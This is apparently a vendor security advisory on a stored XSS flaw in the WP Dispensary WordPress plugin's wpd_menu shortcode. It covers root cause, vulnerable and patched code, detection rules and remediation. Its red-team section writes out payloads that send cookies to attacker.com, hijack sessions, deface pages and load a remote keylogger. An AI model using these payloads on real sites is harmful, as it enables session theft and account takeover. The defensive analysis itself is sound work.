CVE-2024-12444

Executive Summary

CVE-2024-12444 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Dispensary WordPress plugin, affecting all versions up to and including 4.5.0. The flaw resides in the wpd_menu shortcode, where user-supplied attributes are insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) accesses a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used in cannabis dispensary websites, making it a high-value target for supply chain attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to WordPress site owners who have installed the WP Dispensary plugin. The lack of a patch from the vendor increases the supply chain risk, as site administrators must rely on manual mitigation or plugin removal.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation in the dispensary niche is significant. The lack of a patch and the low privileges required make it a realistic threat.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the wpd_menu shortcode. The plugin registers a shortcode that accepts user-defined attributes (e.g., title, category, style). These attributes are directly output into the HTML without proper sanitization or escaping.

Root Cause: The plugin uses shortcode_atts() to merge user-provided attributes with defaults, but it does not apply esc_attr() or wp_kses() to the attribute values before rendering them in the page. This allows an attacker to inject JavaScript payloads.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. The attacker inserts the [wpd_menu] shortcode with a malicious attribute, e.g., [wpd_menu title="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the unsanitized attribute into the HTML.
4. When any user (including admins) visits the page, the script executes in their browser.

WordPress Context: This vulnerability is specific to the WP Dispensary plugin and does not affect core WordPress or server software like Apache/Nginx. The attack surface is limited to authenticated users, but contributor-level access is often easy to obtain in multi-author sites.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.5.0):

// In wp-dispensary/includes/shortcodes.php
function wpd_menu_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'category' => '',
        'style' => 'default',
    ), $atts );

    // Direct output without escaping
    $output = '<div class="wpd-menu" data-title="' . $atts['title'] . '">';
    // ... rest of the code
    return $output;
}

Patched Code (Hypothetical):

function wpd_menu_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'category' => '',
        'style' => 'default',
    ), $atts );

    // Properly escape attributes
    $title = esc_attr( $atts['title'] );
    $output = '<div class="wpd-menu" data-title="' . $title . '">';
    // ... rest of the code
    return $output;
}

The fix requires applying esc_attr() to all user-supplied attributes before output. Since no official patch exists, site administrators must manually apply this change or remove the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with WP Dispensary plugin <= 4.5.0
• Authenticated user with contributor-level access or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [wpd_menu title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. Wait for an administrator or other user to view the page.
6. The script executes, sending the victim's cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
• Keylogging: <script src="https://attacker.com/keylogger.js"></script>

Blue Team

Detection:

• Monitor for posts/pages containing the [wpd_menu] shortcode with suspicious attributes (e.g., <script>, onerror=, javascript:).
• Review user activity logs for unusual shortcode usage by low-privileged users.
• Use the Sigma rule below to detect XSS attempts in web server logs.

Mitigation:

• Immediately disable or remove the WP Dispensary plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-dispensary/includes/shortcodes.php (vulnerable file)
• Shortcode pattern: [wpd_menu title="<script>...</script>"] or similar XSS payloads
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
• Logs: Web server logs showing requests to pages containing the malicious shortcode, with %3Cscript%3E or similar URL-encoded XSS patterns

Detection Engineering

YARA Rule

rule CVE_2024_12444_WP_Dispensary_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WP Dispensary plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12444"
    strings:
        $shortcode = /\[wpd_menu\s+[^\]]*?(title|category|style)\s*=\s*["'][^"']*?<script[^>]*?>.*?<\/script>/i
        $xss_payload = /<script[^>]*?>.*?<\/script>/i
    condition:
        $shortcode or ($xss_payload and #shortcode > 0)
}

Sigma Rule

title: CVE-2024-12444 WP Dispensary Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in WP Dispensary wpd_menu shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'wpd_menu'
            - '%3Cscript%3E'
            - '%3C/script%3E'
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-12444 WP Dispensary Stored XSS Attempt";
    flow:established,to_server;
    content:"wpd_menu"; http_uri;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the WP Dispensary plugin from all WordPress installations.
2. Scan for compromise: Check for unauthorized posts/pages containing the [wpd_menu] shortcode with suspicious attributes.
3. Rotate credentials: If any administrator session was hijacked, rotate all admin passwords and API keys.

Long-Term Fix:

• The vendor must release a patched version that properly escapes shortcode attributes. Until then, consider using an alternative plugin.
• Implement a Content Security Policy (CSP) header to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

• Apply virtual patching via WAF rules to block XSS payloads in shortcode attributes.

Workaround:

• Manually edit the vulnerable file (/wp-content/plugins/wp-dispensary/includes/shortcodes.php) to add esc_attr() to all attribute outputs. This will be overwritten on plugin updates.

Valters IT
Securing Digital Frontiers